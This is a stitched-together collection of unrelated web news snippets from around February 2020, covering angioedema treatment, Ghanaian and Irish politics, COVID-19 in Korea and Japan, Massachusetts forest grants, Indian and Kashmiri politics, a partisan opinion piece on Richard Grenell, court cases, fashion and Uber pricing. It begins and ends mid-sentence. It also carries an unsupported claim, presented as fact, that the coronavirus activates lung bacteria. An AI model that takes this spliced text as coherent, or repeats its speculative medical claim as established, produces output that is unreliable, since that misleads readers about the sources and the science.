should be used. is prescribed. First-line antihistamine is prescribed and dosage is monitored as per symptoms. In case of pregnancy or lactating, antihistamines should be avoided. If prescribed, cetirizine or loratadine should be used. Tranexamic acid is prescribed if antihistamines are ineffective. is prescribed if antihistamines are ineffective. People diagnosed with C1-INH deficiency show poor response to antihistamines, steroids and adrenaline and therefore are treated under specialist care in closed supervision. C1-INH concentrates derived from fresh frozen plasma are prescribed. Other medications usually prescribed for symptomatic relief are: Leukotriene receptor antagonists Omalizumab Immunomodulators Lifestyle modification - A dietician would recommend a special diet without artificial chemicals, preservatives and salicylates. Majority Leader and the Member of Parliament for Suame constituency in the Ashanti region, Osei Kyei Mensah Bonsu in an interview with BBCghana reportedly asked why the Minority did not boycott the food and drinks provided for Parliamentarians during the SONA address on Thursday. The Minority MPs minutes before President Akufo-Addo presented his 4th State of the Nation Address in Parliament staged a walkout giving various reasons including the fact that the President is a 'tyrant'. However, according to Hon. Osei Kyei Mensah Bonsu they didnt boycott the khebabs and the drinks. they participated fully in taking the khebabs and the drink. They only boycotted the sessional address. The people of this country should be mindful of the kind of opposition we have Confirming the Majority leader's statement, Daniel Okyem Aboagye, MP for Bantama Constituency said when it was time to go for their 'item 13', they realised the minority had already come for theirs and further dared them to speak if they are innocent. Watch his submission on UTV in the video below Source: Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video A main street in Daegu is almost deserted after a group of confirmed cases of novel coronavirus was reported Friday. Yonhap By Oh Young-jin I spoke with American virology expert Dr. Hakim Djaballah Friday morning about the COVID-19 outbreak in Korea. In New York, where he is based after stint as head of the Institut Pasteur Korea, he repeated: "This is bad." He was referring to a cluster of cases in Daegu and the first death in Korea from the Wuhan pneumonia epidemic. Djaballah described the Daegu outbreak as a case of "community transmission," by which the disease can jump to pandemic proportions. It is because members of a community eat, drink and play together and live close, meaning a greater chance of contraction and contagion. He called on Korean authorities promptly to account for those who the "super spreader" churchwoman in Daegu had contact with or the situation might get out of control. He said it is a race against time. Djaballah, who proved prescient during Korea's 2015 MERS outbreak, said that with ground zero being a close-knit church, the government could not shut that particular church down or other places of worship without risking being accused of suppressing religious freedom, a basic democratic tenet. If there is panic, people from Daegu might hit the road by train in an exodus and it would be a disaster. He said that in a worst-worst case scenario, "it could be a Wuhan in Korea." The Chinese city, the epicenter of the disease, has seen tens of thousands of people sickened or dead. It has been under complete lockdown, a step only possible in an authoritarian country like China but next to impossible in a democracy like Korea. Therefore, Djaballah raised the possibility of a potential "perfect storm" if tens of thousands of Chinese students return to Korea for a new semester in March. "Campuses are a lot like churches in terms of the high risk of contagion," he said. "The next couple of days are important to better understand the situation. We had better brace for a worse situation than MERS." A microscopic picture of the virus SARSCoV2 from patient No. 1, taken by a Seoul National University medical team. Yonhap The following is what Dr. Hakim Djaballah sent me after our conversation -- ED. With the number of confirmed cases on the rise and the report of the first death on South Korean soil, is the government's preparedness and response adequate enough to contain the spread of the virus? The past few days seem to suggest a lapse in the process due to the sudden and unexpected rise in cases on three subsequent days to over 100 confirmed cases. The landscape has changed dramatically with the a "super spreader" churchgoer in Deagu from COVID-19; South Korea has now a first SARSCoV2 cluster outside of China, joining Singapore and Germany. (The World Health Organization named the virus SARSCoV2 and the disease COVID-19). The government response thus far has been very well balanced as not to upset their Chinese counterpart and at the same time control and reduce the number of visitors who can also be carriers of the SARSCoV2; and efforts to repatriate Korean nationals in the Wuhan region and quarantine them. I am impressed with the government's vigilance at the ports of entry without expensive monitoring throughout the rest of the country, especially rural places; but transparency is lacking in the way information is provided through the Korea Centers for Disease Control and Prevention (KCDC). Many citizens would like to know the daily numbers of nationals and visitors entering the country and how their number correlates with the confirmed cases and their geographical location. Is this truly an imported virus or the virus has already settled in Korea; and what we are observing is the beginning of a bigger problem of a "local Korean cluster," where the spread is now via "community-based activities." If the upward trend continues for the next few weeks, then the government is heading toward a pandemic with a worse outcome than the MERS outbreak almost five years ago. Demonstrators set a fire and erect a barricade as they protest the arrival of a plane carrying evacuees from coronavirus-hit China's Hubei Province, in the village of Novi Sanzhary, in the Poltava region. AP-Yonhap This time, they may not be as lucky as with the MERS outbreak. Closing churches and other places of worship is not the answer and would create unwanted stigmatism against their followers. The counter-argument would be to close all places and spaces where people can gather including airports, train stations, markets, cinemas, etc The government must be cautious to avoid stigmatization and vulnerabilities. The SARSCoV2 is similar in genomic content to the other members of the coronavirus family, but at the same time it is different in its mode of infection and, in particular, it seems to infect the pneumonia-causing bacteria colonizing the lungs such as Pneumococcal pneumonia or Streptococcus pneumonia, wake them up from dormancy and make them much more virulent than usual, thus speeding up lung inflammation and destruction, leading to severe pneumonia-associated symptoms. From the death cases in China to date, a common trend is that most of the deaths were associated with the elderly population prone to community-acquired infections and possibly with a history of pneumonia. It is also important to note that there were not many reports of babies and young children being infected, showing symptoms, or dying from the COVID-19 disease. The reason perhaps why babies and young children are not generally infected with the pneumonia-causing bacteria at such a young age, and therefore seem to be spared, is because the virus is unable to enhance its virulence once it infects them. These children may remain carriers of the SARSCoV2 virus for a long time. First lady Kim Jong-sook speaks to merchants in a Seoul market affected by the ongoing Wuhan epidemic before having a meal together. Korea Times The baby of the Dail is 6ft 7in tall when he stands up straight. You can't miss 22-year-old James O'Connor, Fianna Fail's golden boy from Cork East. When he stood in the Chamber to second Micheal Martin's nomination for Taoiseach, he blocked out any sight of Jim O'Callaghan and Jim O'Callaghan's ego, seated behind him. Thankfully he was short in his praiseworthy comments about his leader - well, his leader for now at least. These are uncertain time in politics. By contrast, his fellow newbie colleague Norma Foley went into school-teacher mode and gave the first sitting a full and lengthy biography of the life and times of Micheal Martin. Not even Norma with her quotes from John B Keane and William Shakespeare could propel Micheal into first place in the opening round of the votes for Taoiseach. The day belonged to Sinn Fein. The Shinner TDs blocked Molesworth Street as they came across the road into Leinster House, en masse, led by the woman of the hour, Mary Lou McDonald. The party's dominance manifested itself in taking up an entire block in the Dail Chamber as its 37 TDs even spilled over into the section accommodating the 'soft left' of Green Party, Social Democrats and Labour Party. Here's where the confusion starts. The new Dail has several doppelgangers in its midst. Sinn Fein's Johnny Mythen and Johnny Guirke, with their shock of short, white hair, are practically twins. The hirsute Fianna Fail TD Christopher O'Sullivan is the spitting image of Green TD Brian Leddin. The grey in O'Sullivan's beard is the only giveaway. Leddin sits beside O'Sullivan's partner Holly Cairns, just to add to the puzzlement. In front of them on the Green benches, there's no mistaking Steven Mathews - the Dail's only TD with a man bun. His ponytail is not as fabulous as Mick Wallace's blond curls, but he makes his mark. Sinn Fein kept the bold girls, Reada Cronin and Violet-Anne Wynne, quiet - so there were no opinions expressed on Hitler or vaccines. The Shinners produced the show of strength, but the Independents provided the charm. Richard O'Donoghue, from Limerick County, arrived up to Dublin in a 1959 black Plymouth vintage car, which featured in John F Kennedy's visit to Ireland in 1963 and Brendan Behan's funeral in 1964. His brother, Billy, had his own touch with mortality five years ago to the day when he had a stroke and ended up under a tractor on his farm in Croom. He's made a full recovery and made his way to the Dail with a group of 30 supporters. O'Donoghue provided a quote of the day as he queried how many in the Chamber have any experience in life. "An ounce of cop-on is better than a stone of brains," he mused. Of course, the kings of the showbiz arrival to Leinster House are the Healy-Rae clan. Outside Buswells Hotel, Danny Healy-Rae led the family group on the accordion, accompanied by daughters Maura on the squeeze box and Elaine on the tin whistle, with John Whelan from Killorglin, whose wife Mary is from Kilgarvan, on the bagpipes. The 'Political Rae-alty' caused traffic to be redirected by bewildered gardai as their hooley drew a crowd on to Kildare Street. The brothers brought up 65 supporters, filling two carriages on the train. Following a rousing rendition of 'The Rose of Tralee', Danny roared: "They wrote us off. They made a bad mistake. Don't ever write us off when we have the people of Kerry behind us. We're not one bit afraid of any of them or all of them inside in that House over there." While fearing nobody inside, it's unclear who they support either. The Healy-Rae brothers were among the TDs who got splinters from sitting on the fence not backing anyone in the crucial vote for Taoiseach. The spotlight now shifts to those parties and TDs that haven't decided what way they are voting or backing the left-leaning government. After winning the first round of votes, McDonald rounded off the day by noting a nominee for a party other than Fianna Fail or Fine Gael had managed to garner the most votes for Taoiseach for the first time. But Martin put a dampener on the Sinn Fein celebrations as he hammered them for populism and glorifying the IRA. Hitting back at the Fianna Fail leader's "bile", McDonald retorted: "I see we still live rent free in Micheal Martin's narrow and bitter mind." Mary Lou for Taoiseach lives on for another two weeks. Peace between the parties and the formation of a government looks a long way off. Woodlands Partnership Towns Get $260K in State Funding NORTH ADAMS, Mass. The newly established Mohawk Trail Woodland Partnership 's grant program has received $260,000 in funding from the state to support forest stewardship, nature-based tourism and climate education. The funds were announced last week by Gov. Charlie Baker and will build on the shared stewardship agreement signed last November between the U.S. Department of Agriculture's Forest Service, the 10 of the participating municipalities and the Franklin Regional Council of Governments. Each community will receive $20,000 toward projects and programming and the FRCOG is getting $60,000 for a regional tourism assessment. "Improving the stewardship of our forests makes them more resilient to the impacts of climate change, strengthens local economies by encouraging nature-based tourism, and benefits rural communities," Baker said in the announcement. "These grants are a terrific example of the collaborative spirit we've worked to foster here in the commonwealth, and we are proud to partner with these communities to preserve our forests and natural resources for generations to come." The woodland grant program offers opportunities for communities in the region to realize the objectives of the partnership by providing funding to assist towns in the commonwealth's most rural and forested region to plan for the care of forests in the face of climate change, prepare forest offset projects, and improve nature-based tourism through connected trail networks and educational exhibits. The Mohawk Trail Woodland Partnership encompasses 361,941 acres of state and private land across 21 communities in the northwestern corner of the state. About 28 percent of that land is permanently protected. The partnership was created to enhance conservation and forest research and provide technical support for businesses that depend on the region's natural resources such as tourism and forestry products. Of the 21 communities eligible to join the partnership, 14 communities are now members, while seven more will vote on whether to join the partnership in the coming months. The Shared Stewardship Framework provides a critical step in the transition from a locally led vision to a long-term initiative and national model program to conserve and steward the forests, support rural economic development, and strengthen the vitality of these small communities. It is being seen as both an economic development partnership as well as a tool for conservation and stewardship. Environmental Affairs Secretary Kathleen Theoharides, who signed the agreement with the Forest Service on behalf of the state and the partnership, said, "healthy, resilient forests are critical ecosystems that help us reduce greenhouse gas emissions and meet our ambitious climate goals." Earlier in February, Adams and the Mohawk Trail Woodlands Partnership was awarded a $1.5 million action grant to support a regional adaptation climate resilience project through the Municipal Vulnerability Preparedness Program. The grant was part of $11.6 million in grant funding to more than 80 communities across the commonwealth to identify climate hazards, develop strategies to improve resilience, and implement priority actions to adapt to climate change. "The investment awarded to towns in my district through this grant program is a great step forward in showcasing the natural beauty of Western Mass, while providing opportunities for economic development through promoting and conserving our natural resources," said state Sen. Adam Hinds of Pittsfield. "It remains important for the communities to come together to define an agreed path forward for the partnership and I look forward to engagement on this." State Rep. John Barrett III thanked the administration for the awarding the environmental grants to communities in the First Berkshire. "These grant funds will benefit the nature-based economy of the region, as well as address the critical climate change issues we are facing in Northern Berkshire," he said. Receiving funding are: Adams To promote environmental education and natural resource-based tourism by expanding the partnership among the town, MassAudubon, the Massachusetts College of Liberal Arts and Williams College to design the exhibit space for the Greylock Glen Education Center to focus on forests and climate change. Ashfield The project will design and build a 1.5-mile Sanderson Elementary School Loop Trail from the school through a diverse, town forest and include educational kiosks and brochures for school children, town residents and the visiting public. Conway Forest stewardship plans that will include an inventory, assessment and plan for two town forests, including education of and collaboration with residents in regard to forest stewardship, which is especially important as forests face the impacts of climate change. Heath Design and construction of the Catamount Trail development on Burnt Hill that will include a new trail and picnic area connecting the 350-acre town forest to the 1,300-acre state forest to the benefit of both town residents and visitors. The project will benefit from many hours of local volunteers and produce forest stewardship educational kiosks. New Ashford Complete forest stewardship plans for town forests and focus trail repair work on important trails for access by hikers, snowmobilers and hunters. North Adams A city trail mapping project will compile a comprehensive map of all the trails on various ownerships in the city and produce and market the trail map to connect both tourists and residents with the outdoors. Peru A project to improve access to hiking trails and attractions will rehabilitate a section of Curtin Road and install wayfinding signage from Route 143 so the public can access Peru State Forest and hiking trails to Garnet Peak and a cultural site. Rowe Outreach and stewardship plan for the town forest that will gather input from meetings and a survey about the management of the 1,408-acre town park and forest and complete an assessment and plan for the property that will improve the climate resilience of the forest. Shelburne The Mahican-Mohawk Trail Village project will design and construct a trail from Shelburne Falls village to this 100-mile regional trail along the Deerfield River that will connect the Connecticut River to the Hudson River and include trail signage and kiosks. Williamstown A forest assessment project will complete an inventory and assessment of 1,800 acres of town forestland in several separate parcels for carbon offset and include public outreach with the community to agree on next steps for this project. Franklin Regional Council of Governments The regional tourism assessment will inventory and map the nature-based tourism infrastructure in the 21-town MTWP region (outdoor recreation trails and sites, information centers, parking areas, etc.) and prepare recommendations for tourism infrastructure that is needed to expand regional nature-based tourism. Gaborone, Botswana (PANA) - As human wildlife conflict persists in Botswana, private companies are joining hands with government to ease the challenge Union Minister for Home Affairs Amit Shah is holding a meeting with his three Cabinet colleagues here. The meeting is currently underway. Shah is having the meeting with Foreign Affairs Minister S Jaishankar, Women and Child Development, Textiles Minister Smriti Irani and Food Processing Industries Minister Harsimrat Kaur Badal. More details about the meeting are awaited. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Cincinnati, OH (45221) Today Partly cloudy skies in the morning will give way to cloudy skies during the afternoon. High 46F. Winds SW at 10 to 15 mph.. Tonight A few clouds from time to time. Low 31F. Winds light and variable. Congress leader Digvijaya Singh on Friday said that strict action should be taken against All India Majlis-e-Ittehadul Muslimeen (AIMIM) leader Waris Pathan for his alleged divisive comments at a rally in Kalaburagi in Karnataka. In a tweet, Singh said, "This type of comment is made by Asaduddin Owaisi's brother Akbaruddin Owaisi. There should be strict action against Waris Pathan. Congress has always fought against fundamentalist ideology. BJP and AIMIM complement each other and both spread hatred through religious sentiment." Pathan, an ex-MLA from Mumbai had on Wednesday addressing an anti-Citizenship Amendment Act (CAA) rally in Kalaburagi said that while the Muslim community be only 15 crores in numbers in India, it can give a befitting reply to 100 crore majority Hindu population. "The time has now come for us to unite and achieve freedom. Remember we are 15 crores but can dominate over 100 crores," Pathan had said. "They tell us that we have kept our women in the front - only the lionesses have come out and you are already sweating. You can understand what would happen if all of us come together," Pathan had said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Dua Lipa Future Nostalgia The name of Dua Lipas second album suggests an album that looks back as well as forwards, and the first two singles support the theory the title track has hints of 80s synth, while Don't Stop Now has a popping funk bassline. The rest looks like itll draw in plenty of other styles, with Gwen Stefani, Moloki and Outkast named by Lipa among her main influences. We dont have a specific release date for this one. Getty Images On Thursday, news broke that, at President Trump's request, Richard Grenell, who is currently the U.S. ambassador to Germany, will become the acting director of National Intelligence ("DNI"), with eventual confirmation in that position. This is great news because Grenell is intelligent, proactive, effective, and extremely pro-American. Leftists, however, are horrified not just because it shows that Trump is not a homophobe, but because a gay man openly sides with Trump's constitutionally correct belief that he, not the Deep State, controls American foreign policy and national security goals. In September 2017, Trump nominated Grenell to serve as his ambassador to Germany. Grenell was confirmed in April 2017, with Mike Pence swearing him in. One can only image Pete Buttigieg's horror that Mike Pence simultaneously managed to retain his principled support for marriage and nevertheless work with, respect, and treat with dignity those who do not conform to his views. During his tenure in Germany, Grenell was rock-solid in his support for the Trump administration. He gave German companies notice to cease doing business in Iran, which was perceived as an insult rather than taken as a friendly warning to get out before Trump reinstated the sanctions that have been decimating the mullahs' economy. Grenell sent more shockwaves through the internationalist political class when he stated, "I absolutely want to empower other conservatives throughout Europe, other leaders." The German establishment, which is doing its best to wipe out liberty-based conservatism in Europe, was outraged. Grenell further angered the German establishment when he called out its fake news, which routinely denigrates America and Americans. One of the best things Grenell did was to insist that Merkel accept Jakiw Palij back into Germany. Palij had served as a Nazi guard in a labor camp, and, when he was identified, Germany refused to take him back. Grenell changed that: President Donald Trump, who grew up in the New York borough of Queens, where Palij has lived for nearly seven decades, instructed Richard Grenell, his ambassador to Germany, to make resolving the case a priority. "I felt very strongly that the German government had a moral obligation and they accepted that," Grenell said at the U.S. Embassy in Berlin on Tuesday. Anyone who can make the Germans stop talking about their moral high ground and actually behave morally is a very good man. Grenell also worked closely with Trump to pressure nations that make homosexuality illegal to reverse that policy. It's no wonder that the left hates Grenell, for he reveals that the Democrat power structure doesn't care about any particular victim group. It cares only about the political power it can obtain by manipulating groups it designates as victims. Nothing shows this fraud more than when someone says (a) I'm not a victim and (b) Trump is more helpful to the truly downtrodden. With Grenell's appointment to a domestic position as DNI, the left's sweaty anxiety is escalating. New York Magazine's Intelligencer calls his appointment downright "scary." And why is Grenell scary? Because he supports Trump's belief that he has a constitutional right to run the government, a right that's not vested in the permanent Democrat Deep State, that's why. That's not how Heather Hurlburt sees it. National Intelligence is bigger than the president and the Constitution. It can be handled safely only by a left-leaning Deep State (emphasis added to highlight the most laughable language): The president has made it clear, again and again, that he seeks to remake the national security infrastructure so that it does his bidding and promotes his ends. He does not recognize the idea sacred to national security professionals of a higher national interest to which even a president must subordinate her or himself. [snip] Apparently the many Republican senators who created the director of National Intelligence position in order to have a senior, impartial leader enabling U.S. intelligence agencies to speak with one, non-politicized voice, also think it is fine to have a president who openly and repeatedly turns the tools of intelligence, law enforcement, and national security to his personal ends. How dare President Trump appoint a conservative gay man to help him exercise his constitutional responsibility to run America's foreign policy and national security?! Not only is this an insult to the permanent Deep State, but it reminds everyone that Trump is no homophobe. United States President Donald Trump on Friday lauded the release of 'Shubh Mangal Zyada Saavdhan' -- Bollywood film that features a gay male lead character. "Great!" the US president wrote as he retweeted a post by British LGBT activist Peter Tatchell, who celebrated the Bollywood movie with a "Hurrah!" The film, which is a light-hearted comedy, can be seen as a progressive attempt towards the acceptance of same-sex couples - an issue that continues to remain a taboo in India even after a year of its decriminalisation by the Supreme Court. Helmed by Hitesh Kewalya and produced by Bhushan Kumar, the film stars Ayushmann Khurrana as a gay man who clashes with his conservative parents over his boyfriend. The romantic comedy flick with a powerful message hit the theatres on Friday. Trump's tweet came ahead of his maiden visit to India on February 24. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A Cave Junction man who admitted to threatening to shoot YouTube employees in a series of escalating tweets faces up to five years in prison and a $250,000 fine. William Gregory Douglas, 37, pleaded guilty Thursday after making threats against YouTube in August 2018 in retaliation for the companys removing Douglas account after he violated the terms of service. He sent tweets that threatened a bigger mass casualty and culminated in a tweet to a YouTube senior employee starting Im coming for you today #pray." The tweets came just four months after a shooting at the companys San Bruno headquarters in which a woman shot three people before killing herself. Douglas continued to post, in September tweeting Hey why do you guys keep ignoring me would it be better if I leave you with no other options like your [sic] leaving meIm beyond pissedI wonder how I should deal with this frustration, and eventually threatening the YouTube senior employee. Threatening a mass shooting is a serious crime whether or not an individual plans to act. This is a crime that undermines Americans fundamental right to live and work without fear, said Billy J. Williams, Oregons U.S. attorney, in a news release. Douglas is charged with one count of making interstate communications with the intent to extort and is scheduled for sentencing May 14. Douglas has agreed to pay full restitution to his victims in an amount that will be determined by the court at his sentencing. Continued detention of democratic leaders further squeezes the space for engagement and reconciliation. The invocation of the Public Safety Act (PSA) against senior political leaders in Jammu and Kashmir has, once again, underscored the aversion on the part of the union government to adopt a democraticconciliatory approach towards Kashmir. It should be noted that many political leaders, particularly Omar Abdullah of the National Conference(NC) and Mehbooba Mufti of the Jammu and Kashmir Peoples Democratic Party(PDP), have been under detention/house arrest since the revocation of Article 370 in August 2019. Such detention under Section 107 of the Code of Criminal Procedure (CrPC) would not have been tenable after six months, as it requires producing the detained persons in court. Thus, the government seems to have invoked the PSA to continue their detention without following the regular course warranted by the criminal justice system. The NC leader and member of Parliament (MP) Farooq Abdullah has also been under arrest under the PSA since September 2019. What explains such heavy-handedness against the mainstream democratic leaders who have continuously participated in electoral processes and abided by the rule of law as given in the Constitution? The dossiers prepared by the Jammu and Kashmir police against these leaders are abysmally inadequate to establish any case against them by way of presenting conclusive proof of the threat they pose to public security and maintenance of order. In fact, some charges against the leaders of the NC and PDP are evidently ludicrous, and some also reek of convenient and selective targeting. Going by the dossiers, if these leaders pose such a grave threat to security and order, why were they not booked under the PSA in the first place? Since their previous actions have been cited as evidence, why was the ruling party at the centre having discussions with or working together in the government with these very forces despite the knowledge of the same? No plausible explanation to these logical questions is forthcoming from the government, and thus, it appears that the action against these leaders is not based on any serious investigation. Instead, this is a manifestation of the executive intent that seeks to stifle the mainstream democratic voices in Kashmir as their unhindered expression is deemed inconvenient. In fact, the Prime Minister himself justified the detention of the leaders by arguing that some of their statements were unacceptable. While the factual basis of this argument itself appears to be on shaky grounds, a deeper problem with this line is the arbitrary and subjective definition of acceptability. If acceptability for the continuance of the government-sponsored narrative is the yardstick, then the existence of political opposition itself would be superfluous. * Not time yet to debate more BOJ easing - BOJ Gov Kuroda * Adds outbreak likely main topic at G20 meeting * Japan Feb factory activity suffers big contraction * South Korean exports slump on supply chain disruption * Weak yen may ease pain for Japan Inc. By Tetsushi Kajimoto and Leika Kihara TOKYO/RIYADH, Feb 21 (Reuters) - Bank of Japan Governor Haruhiko Kuroda said he was watching the coronavirus impact on the economy with "grave concern," in a nod to the growing toll the epidemic is taking on manufacturing activity and exports across Asia. The fallout from the health crisis will be a main topic of debate at a Group of 20 finance leaders' meeting in Riyadh, Kuroda said on Friday, in a sign it could overshadow the weekend meeting of the world's top economies. Massive business disruptions in China are starting to spillover into the global economy, with parts shortages rippling through supply chains as far away as the United States. Asian economies that are heavily reliant on exports to China and Chinese tourists are being hit hard on both fronts. "Huge uncertainty remains on how the spread of the new virus may affect the Japanese economy," Kuroda told parliament. "We're watching the impact with grave concern and keeping a close eye on downside risks," he added. The epidemic has already extracted a heavy human and economic toll in China, with over 2,200 deaths, prompting authorities to take strict containment measures. Retail sales of passenger cars in China plunged 92% on an annual basis in the first 16 days of February, according to China Passenger Car Association (CPCA). Japan's factory activity contracted at the sharpest pace in seven years in February, a private industry survey showed on Friday, adding to growing signs the world's third-largest economy is on the brink of recession. South Korea's exports to China slumped in the first 20 days of February, indicating a grim outlook for Asia's fourth-largest economy. Story continues Kuroda reiterated the BOJ's readiness to ease monetary policy further as needed. But he said it's "not time yet" to discuss specific monetary policy steps, suggesting the BOJ won't deploy its dwindling ammunition easily. Japanese Finance Minister Taro Aso told reporters on Friday he will explain to his G20 counterparts that Tokyo is taking necessary steps to contain the spread of the epidemic, which has become "among risks to the global economy." The weak yen, however, may offer Japanese policymakers some relief by boosting the value of profits Japanese manufacturers earn overseas, some analysts said. GLOBAL IMPACT Japan's economy shrank at its fastest pace in nearly six years in the December quarter, as soft global demand and last year's sales tax hike hurt consumption and business spending. Some analysts expect the economy to contract again in the current quarter, dashing the BOJ's hope an expected rebound in global growth mid-year will underpin Japan's fragile recovery. The damage from the outbreak is spreading across Asia with organisers cancelling events, flight cancellations hurting tourism and fears of the virus keeping shoppers home. Analysts are divided on how much the epidemic could hurt the global economy. Oxford Economics say its baseline scenario is for the outbreak to have a large but short lasting impact centered on China and the rest of Asia. "We assume the economic effects are concentrated in the first half of 2020 and that the outbreak then starts to come under control," Oxford economists said in a research note. Even so, the outbreak will cut global economic growth to just 2.3% in 2020, its weakest since 2009, they said. In a note for the G20 finance leaders, the International Monetary Fund said a further spread of the epidemic could derail a "highly fragile" projected recovery in the global economy in 2020. Highlighting increased global interdependencies, Amazon sent an urgent email to suppliers this week about its midsummer mega sale Prime Day indicating it has begun worrying about inventory, the New York Times reported on Thursday. (Reporting by Tetsushi Kajimoto in Tokyo and Leika Kihara in Riyadh; additional reporting by Daniel Leussink and Takaya Yamaguchi in Tokyo, Cynthia Kim and Joori Roh in Seoul, editing by Chang-Ran Kim, Richard Pullin and Kim Coghill) Skaletska noted that all of them prepare for the transfer to the medical examination center The passengers and crew members of the Boeing, which evacuated the Ukrainians and foreigners from Chinese Wuhan, feel good and prepare for the transfer to the medical examination center, as Healthcare Minister Zoriana Skaletska reported on Facebook. I would like to report that the evacuation of the citizens of Ukraine from China follows the plan. The passengers and crew members feel good and prepare for the transfer to the medical examination center. We are ready to meet them, Skaletska wrote. The minister has noted that all citizens have the same right for protection from the state, wherever they may be. We do not leave our people behind. Earlier, the plane with the citizens of Ukraine and foreigners evacuated from China landed in Kharkiv. The plane, which evacuated people from Wuhan, headed to Kyiv but changed the destination plane and went to Kharkiv. The aircraft was circling the city for about an hour but did not land in the Kharkiv airport. Possibly, due to the heavy fog. Later the plane with the Ukrainians from Wuhan landed in the Boryspil Airport for refueling. The Interior Ministry of Ukraine confirmed that the Ukrainians evacuated from Chinese city Wuhan would be accommodated in the medical facility of the National Guard Novi Sanzhary in the Poltava region. Meanwhile, people started the protest in Novi Sanzhary. They stand against the accommodation of people evacuated from Wuhan in the medical facility. People blocked the roads; the clashes with law enforcers took place. The Interior Ministry noted that all illegal attempts of obstruction of accommodation of evacuated or violation of the regime of their isolation would be stopped by the National Police and the National Guard in accordance with the demands of the Law and the decision of the governmental HQ. New Delhi, Feb 21 : Delhi Deputy Chief Minister Manish Sisodia on Friday met Union Finance Minister Nirmala Sitharaman and demanded the Union Territory's share in central taxes and funds for Delhi municipal corporation. This is Delhi government's first meeting with the Union Finance Ministry after the formation of the Aam Aadmi Party government in the Union Territory. Sisodia, who is also Delhi's Finance Minister, said, "After re-assuming the charge of Delhi's Finance Minister, I met the Union Finance Minister today. There has been a positive discussion with him on cooperation for the economic development of Delhi." "During the meeting with the Union Finance Minister, I asked for funds to be provided for the Municipal Corporation of Delhi in the same way as the central government gives (Rs 488 per capita per year) to the municipal corporations of other states. As of now, Delhi receives no funds from the central government for the municipal corporation," he added. The three municipal corporations of Delhi are ruled by the BJP. The municipal corporation has raised the issue of lack of funds in the past several years. Due to lack of funds, the salary of thousands of municipal employees could not be released for many months. While the municipal corporation blames the Delhi government for the lack of funds, the Delhi government clarifies that the municipal corporation has been given more funds than previous years even when the government has not been receiving additional funds for the corporation by the Centre. Elaborating about the meeting, Sisodia said, "I demanded share in the central taxes for Delhi so that work can be done in Delhi to open schools, hospitals and fasten the works of Yamuna cleaning, electricity and water." According to the Delhi government, Delhi should be given a share in central taxes collected from Delhi. "Delhi has not been given any share in central taxes by the central government since 2001. 42 per cent of the central taxes are given to all other states based on the recommendations of the Finance Commission. Before 2001, Delhi used to receive its share in the central taxes," Sisodia noted. A police officer who shot and killed a civilian at Mama Lucy Hospital was on Thursday arraigned before a Nairobi court. The Administration Police officer, Zaddock Oyieka, shot Daniel Mburu, 24, on Tuesday following a tiff over a parking spot inside the hospitals premises. Mburu, a boda boda operator, had rushed his neighbours toddler to the hospital for treatment when the security guards manning gate reportedly demanded Sh50 parking fee. When he declined to pay, the guards called Administration Police officers, accusing Mburu of being unruly. A witness told reporters that one of the police officers drew his gun and shot Mburu on the chest. The officer appeared before Magistrate Eston Nyaga at Makadara Courts, where the prosecution requested for the suspect to be detained for 14 days pending completion of investigations. The Magistrate ruled that the suspect will remain in police custody for 6 days. Officer Oyieka is expected back in court on February 28. The officer was arrested Wednesday night after a preliminary ballistic report showed that the killer bullet was from his firearm as there were two officers on duty. He will be in court for murder. There is enough evidence that he is the one who shot and killed the boda boda rider, said Police Spokesman Charles Owino. From the gilded halls of Versaille to the catwalk of Moschino, Jeremy Scott served up his signature biannual fashion pantomime in Milan last night, calling on the services of Marie Antoinette. With models including Kaia Gerber and Bella Hadid who were clad in super sized pannier-waist dresses and gravity defying hair-wigs, Scott let his loyal Moschino following eat cake. The silhouette remained unchanged throughout with the nipped in waists and exaggerated skirts that defined the 1780s and the peak of the French Revolution recast in everything from denim to leather to lace. Sugar figured highly on the agenda with a series of tiered cake dresses presented as the cherry on top of this collection. Kaia Gerber / Getty Images Was Scott hoping to draw a parallel between the chaos of that defined the Antoinette's heyday with where we are in the world right now? Undoubtedly. But for Scott, who took his bow with his arm in fuchsia pink sling, a determination to revel in the ridiculous was unmistakable. The show was a sickly sweet celebration of catwalk fashion at its most ostentatious, with the odd wearable piece - see knitwear emblazoned with the houses logo - thrown into the mix. Passionate fans of the brand will also delight in the oversized M earrings. "We are here to reiterate the Government's commitment to engaging in a genuine decentralization process , forging development and sustainability, based on the demands coming from the interior of the country," he said in a meeting with Putumayo authorities in Loreto region. Zeballos remarked that the geographical distance to Putumayo located in the border area of the northern Peruvian rainforest can be considerable, but this cannot be a hindrance for us authorities on behalf of that State to be here. "This is a way to strengthen democracy, as well as to maintain a direct and personal dialogue with authorities and citizens," he noted. According to the Cabinet chief , border regions require urgent attention. "An effective presence of the State must be guaranteed in order to have a living border," he emphasized. In this sense, he said an agenda is being prepared with the help of the regional government and local authorities. The aim is to "build a country from the interior to the capital." Zeballos remarked that the Thursday meeting provided a platform for constructive dialogue, which allows defining the priority of investment projects and strategies, as well as assigning roles and responsibilities to each level of government. (END) VVS/RMB Peru's Prime Minister Vicente Zeballos affirmed that the Government is committed to developing a genuine decentralization process in the country.Published: 2/21/2020 Reach key decision makers with sales-ready leads that shorten your sales process. Move the needle by delivering funnel qualified leads to your sales team. Learn more Uber has launched a pilot program in California that lets drivers in Santa Barbara, Palm Springs and Sacramento set their own fares for airport rides. Drivers can set a fare multiple on Ubers base, time, and distance rates for UberX and UberXL trips, according to the company. Drivers can increase the fare in 10 percent jumps up to five times Ubers base price. If Ubers surge pricing is higher than participating drivers set pricing, the drivers rates will match the higher price for the first week. After that, they can opt out of the program and set their price below Ubers base price. Response to Californias Gig Law Ubers rate experiment is a response to California Assembly Bill 5 (AB5), better known as the Gig Law, which took effect on Jan. 1. It holds that most workers are employees and entitled to the benefits employees get. Since AB5 has gone into effect, weve made a number of product changes to preserve flexible work for tens of thousands of California drivers, said Matthew Wing, Ubers head of communications for advanced tech. Were now doing an initial test of additional changes which would give drivers more control over the rates they charge riders, he told the E-Commerce Times. Uber previously announced that California drivers would get more advance trip information prior to accepting a rider; that they could reject ride requests without any penalties; and that they would get a range of prices to charge up front, rather than an exact price. The company is introducing more business tools so that drivers can build the businesses they want, said Liz 